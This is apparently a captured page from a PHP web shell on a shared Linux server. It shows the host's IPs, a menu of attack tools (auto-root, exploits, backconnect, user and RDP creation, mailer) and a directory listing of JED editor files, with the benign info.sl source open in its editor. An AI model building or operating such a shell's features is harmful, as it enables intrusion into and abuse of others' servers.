Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : info.sl
%_debug_info = 1; % % Info reader for JED % variable Info_This_Filename = Null_String; variable Info_This_Filedir = Null_String; #ifndef VMS % returns compression extension if file is compressed or "" if not define info_is_compressed (file) { variable exts, ext, n; exts = ".Z,.z,.gz,.bz2"; n = 0; forever { ext = extract_element(exts, n, ','); if (ext == NULL) return ""; if (1 == file_status(file + ext)) break; n++; } ext; } #endif define info_make_file_name (file) { variable n, dir, dirfile, df, df_low; variable cext = ""; % compressed extension n = 0; forever { % % Try to find requested file in remembered directory. % dirfile = expand_filename(dircat(Info_This_Filedir, file)); if (1 == file_status(dirfile)) break; dir = extract_element(Info_Directory, n, ','); if (dir == NULL) dir = ""; df = expand_filename(dircat(dir,file)); % try with first with info extension #ifdef VMS dirfile = df + "info"; % VMS adds a '.' upon expansion #else dirfile = df + ".info"; #endif if (1 == file_status(dirfile)) break; #ifndef VMS cext = info_is_compressed(dirfile); if (strlen(cext)) break; #endif df_low = expand_filename(dircat(dir,strlow(file))); #ifdef VMS dirfile = df_low + "info"; % VMS adds a '.' upon expansion #else dirfile = df_low + ".info"; #endif if (1 == file_status(dirfile)) break; #ifndef VMS cext = info_is_compressed(dirfile); if (strlen(cext)) break; #endif % try next with inf extension, since .info causes problems on FAT % In addition, Unix and VMS distributions may have been derived from % PC 8+3 distributions. % % Also Windows 95 supports long filenames. Since that OS is also % considered to be MSDOS, we need to try this for MSDOS as well % even though it has no effect under a true MSDOS system. dirfile = df_low + ".inf"; if (1 == file_status(dirfile)) break; #ifndef VMS cext = info_is_compressed(dirfile); if (strlen(cext)) break; #endif % repeat without extension dirfile = df; if (1 == file_status(dirfile)) break; #ifndef VMS cext = info_is_compressed(dirfile); if (strlen(cext)) break; #endif dirfile = df_low; if (1 == file_status(dirfile)) break; #ifdef UNIX cext = info_is_compressed(dirfile); if (strlen(cext)) break; #endif ifnot (strlen(dir)) error ("Info file not found: " + file); ++n; } (Info_This_Filedir, ) = parse_filename(dirfile); return (dirfile, cext); } private define make_unzip_cmd (ext) { variable unzip_cmd = "uncompress -c"; switch (ext) { case ".gz": unzip_cmd = "gzip -dc"; } { case ".bz2": unzip_cmd = "bzip2 -dc"; } return unzip_cmd; } define info_find_file (file) { variable dirfile, flags, buf, dir; variable ext; (dirfile, ext) = info_make_file_name(file); setbuf("*Info*"); set_readonly(0); widen(); erase_buffer(); #ifndef VMS if (strlen(ext)) () = run_shell_cmd (sprintf("%s %s%s", make_unzip_cmd (ext), dirfile, ext)); else #endif () = insert_file(dirfile); bob(); Info_This_Filename = dirfile; set_readonly(1); set_buffer_modified_flag(0); set_mode("Info", 1); use_keymap("Infomap"); set_status_line(" Jed Info: %f (%m%n) Press '?' for help. (%p)", 0); % The following 2 lines will cause problems when the buffer attached to % the specified file is erased from a re-only directory. %( , dir, buf, flags) = getbuf_info(); %setbuf_info(extract_filename(Info_This_Filename), dir, buf, flags); } define info_find_node_split_file(); % extern variable Info_Split_File_Buffer; Info_Split_File_Buffer = Null_String; variable Info_Split_Filename; Info_Split_Filename = Null_String; define info_search_marker(dir) { variable mark, pnt, search_fun; mark = "\x1F"; if (dir > 0) search_fun = &fsearch; else search_fun = &bsearch; push_mark(); forever { if (not(@search_fun(mark))) { pop_mark_1 (); return(0); } if (bolp()) break; pnt = _get_point (); bol(); skip_chars("\x01-\x1E "); go_right_1 (); pnt = _get_point () - pnt; if ((pnt == 1) and (eolp() or looking_at_char('\xC'))) break; if (dir > 0) eol(); else bol(); } pop_mark_0 (); return (1); } define info_find_node_this_file (the_node) { variable node, len, fnd; CASE_SEARCH = 0; node = "Node: " + the_node; len = strlen(node); widen(); bob(); forever { % some of this could/should be replaced by a regular expression: % ifnot (re_fsearch("^[\t ]*\x1F")) .... ifnot (info_search_marker(1)) { % dont give up, maybe this is a split file ifnot (strlen(Info_Split_File_Buffer)) error("Marker not found. " + node); setbuf(Info_Split_File_Buffer); info_find_node_split_file(the_node); return; } go_down_1 (); % bol(); --- already implicit if (ffind(node)) { % is this really it? --- go_right(len); if (eolp() or looking_at_char(',') or looking_at_char('\t')) break; } eol (); } push_mark(); if (info_search_marker(1)) go_up_1(); else eob(); narrow(); bob(); } define info_find_node_split_file (node) { variable tag, tagpos, pos, pos_len, tag_len, buf, file; variable re; buf = " *Info*"; ifnot (bufferp(buf), setbuf(buf)) { insbuf("*Info*"); } widen(); % make this re safe tag = str_quote_string (node, "\\^$[]*.+?", '\\'); tag = "Node: " + tag; eob(); %ifnot (bol_bsearch(tag)) error("tag not found."); %go_right(strlen(tag)); %skip_chars(" \t\x7F"); re = tag + "[\t \x7F]\\d+[ \t]*$"; ifnot (re_bsearch(re)) verror ("tag %s not found.", tag); eol (); bskip_chars(" \t"); push_mark(); bskip_chars ("0-9"); tagpos = bufsubstr(); % see comment about DOS below tag_len = strlen(tagpos); bob (); bol_fsearch("Indirect:"); pop(); push_mark(); ifnot (info_search_marker(1)) eob(); narrow(); bob(); forever { ifnot (down_1 ()) break; % bol(); --- implicit in down ifnot (ffind(": ")) break; go_right(2); % This will not work on DOS with 16 bit ints. Do strcmp instead. push_mark_eol(); pos = bufsubstr(); pos_len = strlen(pos); if (tag_len > pos_len) continue; if (tag_len < pos_len) break; % now == if (strcmp(tagpos, pos) < 0) break; } Info_Split_File_Buffer = Null_String; go_up_1 (); bol(); push_mark(); () = ffind(": "); widen(); file = bufsubstr(); info_find_file(file); info_find_node_this_file(node); Info_Split_File_Buffer = buf; } define info_narrow() { if (whatbuf () != "*Info*") return; push_spot(); push_spot(); () = info_search_marker(-1); go_down_1 (); push_mark(); pop_spot(); if (info_search_marker(1)) go_up_1 (); else eob(); narrow(); pop_spot(); } % stack for last position ifnot (is_defined ("Info_Position_Type")) { typedef struct { filename, split_filename, line_number } Info_Position_Type; } variable Info_Position_Stack = Info_Position_Type [16]; variable Info_Stack_Depth = 0; define info_push_position(file, split, line) { variable i; variable pos; if (Info_Stack_Depth == 16) { --Info_Stack_Depth; for (i = 1; i < 16; i++) Info_Position_Stack [i - 1] = @Info_Position_Stack [i]; } pos = Info_Position_Stack [Info_Stack_Depth]; pos.filename = file; pos.split_filename = split; pos.line_number = line; ++Info_Stack_Depth; } define info_record_position () { variable i, file; if (whatbuf() != "*Info*") return; widen(); file = Null_String; if (strlen (Info_Split_File_Buffer)) file = Info_Split_Filename; info_push_position(Info_This_Filename, file, what_line()); info_narrow(); } define info_find_node(node) { variable the_node, file, n, len; n = 0; % Replace \n and \t characters in name by spaces node = strcompress (node, " \t\n"); info_record_position(); ERROR_BLOCK { if (bufferp ("*Info*")) info_reader (); } len = strlen(node); % if it looks like (file)node, extract file, node if (is_substr(node, "(") == 1) n = is_substr(node, ")"); if (n) { variable save_node = "|" + node + "|"; the_node = node; node = substr(the_node, n + 1, strlen(node)); the_node = strsub(the_node, n, 0); % truncate string file = substr(the_node, 2, n-2); if (bufferp(Info_Split_File_Buffer)) delbuf(Info_Split_File_Buffer); Info_Split_File_Buffer = Null_String; info_find_file(file); } node = strtrim (node); ifnot (strlen(node)) node = "Top"; widen(); push_spot_bob (); ifnot (info_search_marker(1)) error("Marker not found."); go_down_1 (); if (looking_at("Indirect:"), pop_spot()) { Info_Split_Filename = Info_This_Filename; info_find_node_split_file(node); } else info_find_node_this_file(node); } % If buffer has a menu, point is put on line after menu marker if argument % is non-zero, otherwise leave point as is. % signals error if no menu. define info_find_menu(save) { variable menu_re = "^\\c\\* Menu:"; push_spot(); bob (); forever { ifnot (re_fsearch(menu_re)) { pop_spot(); error ("Node has no menu."); } go_right (7); ifnot (looking_at_char (':')) break; } ifnot (save) { pop_spot(); return; } eol(); go_right_1 (); push_mark(); pop_spot(); pop_mark_1 (); } % Move move the cursor to the start of the next nearest menu item or % note reference in this node if possible. % define info_next_xref () { push_mark (); go_right_1 (); if (re_fsearch("\\*.*:")) exchange_point_and_mark (); pop_mark_1 (); } % % Move move the cursor to the start of the previous nearest menu item or % note reference in this node if possible. % define info_prev_xref () { push_mark (); go_left_1 (); if (re_bsearch("[*].*:")) exchange_point_and_mark (); pop_mark_1 (); } % menu references define info_follow_current_xref () { variable node; push_spot(); ifnot (fsearch_char (':')) { pop_spot(); error ("Corrupt File?"); } if (looking_at("::")) { push_mark(); pop_spot(); node = bufsubstr(); } else { go_right_1 (); skip_white(); if (eolp()) { go_right_1 (); skip_white(); } push_mark(); if (looking_at_char('(')) () = ffind_char (')'); % comma, tab, '.', or newline terminates skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045\d047-\d255"); bskip_chars(" "); node = bufsubstr(()); pop_spot(); } info_find_node(node); } define info_menu () { variable node, colons, colon; node = Null_String; colon = ":"; colons = "::"; if ((LAST_CHAR == '\r') and re_looking_at ("\\C*Note[ \t\n]")) %and not(bolp ())) { go_right (5); skip_chars (" \t\n"); info_follow_current_xref (); return; } info_find_menu (0); bol (); if (looking_at("* ") and (ffind(colon))) { push_mark(); bol(); go_right(2); node = bufsubstr() + colon; bol (); } ifnot (strlen (node) and (LAST_CHAR == '\r')) { node = read_mini("Menu item:", node, Null_String); info_find_menu (1); } ifnot (bol_fsearch("* " + node)) error ("Menu Item not found."); ifnot (ffind(colon)) error ("Corrupt File?"); if (looking_at(colons)) { push_mark(); bol(); go_right(2); } else { go_right_1 (); skip_white(); push_mark(); if (looking_at_char('(')) { () = ffind_char (')'); } % comma, tab, '.', or newline terminates skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045\d047-\d255"); bskip_chars(" "); } info_find_node(bufsubstr(())); } define info_find_dir() { info_find_node ("(DIR)top"); } define info_up () { bob(); ifnot (ffind("Up: ")) { info_find_dir (); return; } go_right(4); push_mark(); % comma, tab, or newline terminates skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045-\d255"); bskip_chars(" "); info_find_node(bufsubstr(())); } define info_prev() { variable n; n = 10; bob(); ifnot (ffind("Previous: ")) { ifnot (ffind("Prev: ")) error ("Node has no PREVIOUS"); n = 6; } go_right(n); push_mark(); skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045-\d255"); bskip_chars(" "); info_find_node(bufsubstr(())); } define info_goto_last_position () { variable split_file, file, n; variable pos; if (Info_Stack_Depth == 0) return; --Info_Stack_Depth; pos = Info_Position_Stack [Info_Stack_Depth]; split_file = pos.split_filename; file = pos.filename; n = pos.line_number; if ((file == Info_This_Filename) and bufferp("*Info*")) { widen(); goto_line(n); bol(); info_narrow(); return; } if (strlen(split_file)) { setbuf(" *Info*"); set_readonly(0); widen(); erase_buffer(); #ifndef VMS variable ext = info_is_compressed (split_file); if (strlen(ext)) () = run_shell_cmd(sprintf("%s %s%s", make_unzip_cmd (ext), split_file, ext)); else #endif () = insert_file (split_file); Info_Split_File_Buffer = whatbuf (); setbuf ("*Info*"); } ifnot (strlen(file)) return; info_find_file(file); goto_line(n); bol(); info_narrow(); } define info_next () { bob(); ifnot (ffind("Next: ")) { info_goto_last_position (); message ("Node has no NEXT."); return; } go_right(6); push_mark(); % comma, tab, or newline terminates skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045-\d255"); bskip_chars(" "); info_find_node(bufsubstr(())); } define info_quick_help() { message("q:quit, h:tutorial, SPC:next screen, DEL:prev screen, m:menu, s:search"); } $2 = "Infomap"; ifnot (keymap_p($2)) { make_keymap($2); definekey("info_quick_help", "?", $2); definekey("info_tutorial", "h", $2); definekey("info_tutorial", "H", $2); definekey("info_menu", "^M", $2); definekey("info_menu", "M", $2); definekey("info_menu", "m", $2); definekey("info_next_xref", "\t", $2); #ifdef MSDOS MSWINDOWS definekey("info_prev_xref", "^@^O", $2); #endif definekey("info_next", "N", $2); definekey("info_next", "n", $2); definekey("info_prev", "P", $2); definekey("info_prev", "p", $2); definekey("info_up", "U", $2); definekey("info_up", "u", $2); definekey("page_down", " ", $2); definekey("page_up", "^?", $2); definekey("bob", "B", $2); definekey("bob", "b", $2); definekey("info_goto_node", "G", $2); definekey("info_goto_node", "g", $2); definekey("info_quit", "q", $2); definekey("info_quit", "Q", $2); definekey("info_goto_last_position", "l", $2); definekey("info_goto_last_position", "L", $2); definekey("info_search", "S", $2); definekey("info_search", "s", $2); definekey("info_search", "/", $2); definekey("info_follow_reference", "f", $2); definekey("info_follow_reference", "F", $2); definekey("info_find_dir", "D", $2); definekey("info_find_dir", "d", $2); _for (1, 9, 1) { $1 = (); definekey("info_menu_number", string($1), $2); } } define info_quit () { info_record_position(); widen(); delbuf("*Info*"); } define info_goto_node() { info_find_node (read_mini("Node:", Null_String, Null_String)); } define info_search () { variable this_line, this_file, str, err_str, file, wline, ifile, ext; err_str = "String not found."; str = read_mini("Re-Search:", LAST_SEARCH, Null_String); ifnot (strlen(str)) return; save_search_string(str); widen(); go_right_1 (); if (re_fsearch(str)) { info_narrow(); return; } % % Not found. Look to see if this is split. % ifnot (strlen(Info_Split_File_Buffer)) { info_narrow(); error (err_str); } this_file = Info_This_Filename; this_line = what_line(); wline = window_line(); %need this so state can be restored after a failure. setbuf(Info_Split_File_Buffer); widen(); bob(); bol_fsearch("Indirect:"); pop(); push_mark(); if (info_search_marker(1)) go_up_1 (); else eob(); narrow(); bob(); bol_fsearch(extract_filename(this_file)); pop(); ERROR_BLOCK { widen(); info_find_file (this_file); goto_line(this_line); eol(); info_narrow(); recenter(wline); } while (down_1 ()) { % bol(); --- implicit push_mark(); ifnot (ffind_char (':')) {pop_mark_0 (); break; } file = bufsubstr(); flush("Searching " + file); (ifile, ext) = info_make_file_name(file); #ifdef UNIX OS2 if (strlen(ext)) { variable re = str; % Not all greps support -e option. So, try this: if (re[0] == '-') re = "\\" + re; setbuf(" *Info*zcat*"); erase_buffer(); () = run_shell_cmd(sprintf("%s %s%s | grep -ci '%s'", make_unzip_cmd (ext), ifile, ext, re)); bob(); if (looking_at_char ('0')) { delbuf(whatbuf()); setbuf(Info_Split_File_Buffer); continue; } setbuf(Info_Split_File_Buffer); } else #endif ifnot (search_file(ifile, str, 1)) { setbuf(Info_Split_File_Buffer); continue; } info_find_file(file); pop(fsearch(str)); info_narrow(); info_push_position(this_file, Info_Split_Filename, this_line); return; } error (err_str); } define info_looking_at (ref) { variable n; variable word; push_spot (); EXIT_BLOCK { pop_spot (); } ref = strcompress (ref, " "); n = 0; while (word = extract_element (ref, n, ' '), word != NULL) { n++; skip_chars (" \t\n"); ifnot (looking_at (word)) return 0; go_right (strlen (word)); } 1; } define info_follow_reference () { variable colon, colons, note, err, item, node, ref; colon = ":"; colons = "::"; note = "*Note"; err = "No cross references."; push_spot(); ifnot (fsearch(note)) { ifnot (bsearch(note)) { pop_spot(); error(err); } } pop_spot(); ref = read_mini("Follow *Note", Null_String, Null_String); push_spot_bob (); forever { ifnot (fsearch(note)) { pop_spot(); error ("Bad reference."); } go_right (5); skip_chars (" \t\n"); % skip_white(); % if (eolp()) % { % go_right_1 (); skip_white(); % } if (info_looking_at(ref)) break; } push_mark(); pop_spot(); %info_record_position pop_mark_1 (); info_follow_current_xref (); } define info_menu_number () { variable node; node = Null_String; variable colon, colons; colons = "::"; colon = ":"; variable n; n = LAST_CHAR; if ((n < '1') or (n > '9')) return (beep()); n -= '0'; info_find_menu(1); while (n) { ifnot (bol_fsearch("* ")) return (beep()); if (ffind(colon)) --n; else eol(); } if (looking_at(colons)) { push_mark(); bol(); go_right(2); } else { go_right_1 (); skip_white(); push_mark(); if (looking_at_char('(')) { () = ffind_char (')'); } % comma, tab, '.', or newline terminates skip_chars ("^,.\t\n"); %skip_chars("\d032-\d043\d045\d047-\d255"); bskip_chars(" "); } info_find_node(bufsubstr(())); } define info_tutorial() { info_find_node("(info)help"); } 